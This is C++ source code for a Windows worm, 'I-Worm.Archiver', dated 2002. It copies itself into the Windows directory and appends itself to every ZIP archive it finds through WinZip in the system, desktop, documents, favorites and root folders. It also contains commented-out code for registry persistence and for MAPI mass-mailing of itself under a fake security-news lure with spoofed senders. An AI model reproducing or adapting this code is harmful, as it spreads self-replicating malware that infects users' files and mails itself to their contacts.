I-Worm.Archiver - Source Code

/*
Name : I-Worm.Archiver
Author : PetiK
Date : Mai 10th 2002 -
Language : C++

Comments : Infect ZIP files which run with WINZIP.

        We can also to do the same think with PowerArchiver:
            powerarc -a -c4 archive.zip virus.exe

*/

#include <windows.h>
#include <stdio.h>
#include <mapi.h>

#pragma argused
#pragma inline


char    filen[100],copyn[100],copyreg[100],windir[100],sysdir[100],inzip[256],fsubj[50];
char    *fnam[]={"news","support","info","newsletter","webmaster"};
char    *fmel[]={"@yahoo.com","@hotmail.com","@symantec.com","@microsoft.com","@avp.ch","@viruslist.com"};
LPSTR   run="Software\\Microsoft\\Windows\\CurrentVersion\\Run",
    SHFolder=".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";
char    attname[]="news_xxxxxxxx.exe";
LPTSTR  cmdLine,ptr;
BOOL    installed;
BYTE    desktop[50],favoris[50],personal[50],winzip[50];
DWORD   sizdesktop=sizeof(desktop),sizfavoris=sizeof(favoris),
    sizpersonal=sizeof(personal),sizwinzip=sizeof(winzip);
DWORD   type=REG_SZ;
long    i;

LHANDLE session;
MapiMessage *mes;
MapiRecipDesc from;
char messId[512],mname[50],maddr[30];
HINSTANCE hMAPI;

HKEY        hReg;
WIN32_FIND_DATA ffile;

void infzip(char *);

ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);
ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPTSTR);
ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG, lpMapiMessage FAR *);
ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);

int WINAPI WinMain (HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
{

GetModuleFileName(hInst,filen,100);
GetSystemDirectory((char *)sysdir,100);
GetWindowsDirectory((char *)copyn,100);
strcpy(windir,copyn);
strcat(copyn,"\\Archiver.exe");

installed=FALSE;
cmdLine=GetCommandLine();
if(cmdLine) {
    for(ptr=cmdLine;ptr[0]!='-' && ptr[1]!=0;ptr++);
    if(ptr[0]=='-' && ptr[1]!=0) {
        switch(ptr[1]) {
            default:
            break;
            case 'i':
                installed=TRUE;
                break;
            case 'p':
                ShellAbout(0,"I-Worm.Archiver","Copyright (c)2002 - PetiKVX",0);
                MessageBox(NULL,"This new Worm was coded by PetiK.\nFrance - (c)2002",
                    "I-Worm.Archiver",MB_OK|MB_ICONINFORMATION);
                ExitProcess(0);
                break;
            }
        }
    }

if(!installed) {
CopyFile(filen,copyn,FALSE);
strcpy(copyreg,copyn);
strcat(copyreg," -i");
/* RegOpenKeyEx(HKEY_LOCAL_MACHINE,run,0,KEY_WRITE,&hReg);
RegSetValueEx(hReg,"Archiver",0,REG_SZ,(BYTE *)copyreg,100);
RegCloseKey(hReg); */
ExitProcess(0);
}

RegOpenKeyEx(HKEY_USERS,SHFolder,0,KEY_QUERY_VALUE,&hReg);
RegQueryValueEx(hReg,"Desktop",0,&type,desktop,&sizdesktop);
RegQueryValueEx(hReg,"Favorites",0,&type,favoris,&sizfavoris);
RegQueryValueEx(hReg,"Personal",0,&type,personal,&sizpersonal);
RegCloseKey(hReg);
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\windows\\CurrentVersion\\App Paths\\winzip32.exe",0,KEY_QUERY_VALUE,&hReg);
RegQueryValueEx(hReg,NULL,0,&type,winzip,&sizwinzip);
RegCloseKey(hReg);

if(strlen(winzip)!=0) {
infzip(windir);
infzip(sysdir);
infzip(desktop);
infzip(personal);
infzip(favoris);
infzip("C:\\");
}

/*
_asm
{
call    @wininet
db  "WININET.DLL",0
@wininet:
call    LoadLibrary
test    eax,eax
jz  end_asm
mov ebp,eax
call    @inetconnect
db  "InternetGetConnectedState",0
@inetconnect:
push    ebp
call    GetProcAddress
test    eax,eax
jz  end_wininet
mov edi,eax
verf:
push    0
push    Tmp
call    edi
dec eax
jnz verf

end_wininet:
push    ebp
call    FreeLibrary
end_asm:
jmp end_all_asm

Tmp dd 0

end_all_asm:
}


hMAPI=LoadLibrary("MAPI32.DLL");
(FARPROC &)mSendMail=GetProcAddress(hMAPI, "MAPISendMail");
(FARPROC &)mLogon=GetProcAddress(hMAPI, "MAPILogon");
(FARPROC &)mLogoff=GetProcAddress(hMAPI, "MAPILogoff");
(FARPROC &)mFindNext=GetProcAddress(hMAPI, "MAPIFindNext");
(FARPROC &)mReadMail=GetProcAddress(hMAPI, "MAPIReadMail");
(FARPROC &)mFreeBuffer=GetProcAddress(hMAPI, "MAPIFreeBuffer");
mLogon(NULL,NULL,NULL,MAPI_NEW_SESSION,NULL,&session);
if(mFindNext(session,0,NULL,NULL,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS) {
  do {
     if(mReadMail(session,NULL,messId,MAPI_ENVELOPE_ONLY|MAPI_PEEK,NULL,&mes)==SUCCESS_SUCCESS) {
    strcpy(mname,mes->lpOriginator->lpszName);
    strcpy(maddr,mes->lpOriginator->lpszAddress);

    for(i=0;i<8;i++)
    attname[i+5]='1'+(char)(9*rand()/RAND_MAX);
    fsubj[0]=0;
    wsprintf(fsubj,"News from %s%s",fnam[GetTickCount()%4],fmel[GetTickCount()%5]);


    mes->ulReserved=0;
    mes->lpszSubject=fsubj;
    mes->lpszNoteText="This is some news send by our firm about security.\n"
                "Please read by clicking on attached file.\n"
                "\tBest Regards";
    mes->lpszMessageType=NULL;
    mes->lpszDateReceived=NULL;
    mes->lpszConversationID=NULL;
    mes->flFlags=MAPI_SENT;
    mes->lpOriginator->ulReserved=0;
    mes->lpOriginator->ulRecipClass=MAPI_ORIG;
    mes->lpOriginator->lpszName=mes->lpRecips->lpszName;
    mes->lpOriginator->lpszAddress=mes->lpRecips->lpszAddress;
    mes->nRecipCount=1;
    mes->lpRecips->ulReserved=0;
    mes->lpRecips->ulRecipClass=MAPI_TO;
    mes->lpRecips->lpszName=mname;
    mes->lpRecips->lpszAddress=maddr;
    mes->nFileCount=1;
    mes->lpFiles=(MapiFileDesc *)malloc(sizeof(MapiFileDesc));
    memset(mes->lpFiles, 0, sizeof(MapiFileDesc));
    mes->lpFiles->ulReserved=0;
    mes->lpFiles->flFlags=NULL;
    mes->lpFiles->nPosition=-1;
    mes->lpFiles->lpszPathName=filen;
    mes->lpFiles->lpszFileName=attname;
    mes->lpFiles->lpFileType=NULL;
    mSendMail(session, NULL, mes, NULL, NULL);
    }
  }while(mFindNext(session,0,NULL,messId,MAPI_LONG_MSGID,NULL,messId)==SUCCESS_SUCCESS);
free(mes->lpFiles);
mFreeBuffer(mes);
mLogoff(session,0,0,0);
FreeLibrary(hMAPI);
}

*/

ExitProcess(0);
}

void infzip(char *folder)
{
register bool abc=TRUE;
register HANDLE fh;
if(strlen(folder)!=0) {
SetCurrentDirectory(folder);
fh=FindFirstFile("*.zip",&ffile);
if(fh!=INVALID_HANDLE_VALUE) {
    while(abc) {
    inzip[0]=0;
    wsprintf(inzip,"%s -a -r %s %s",winzip,ffile.cFileName,copyn);
    WinExec(inzip,1);
    abc=FindNextFile(fh,&ffile);
    }
}
}

}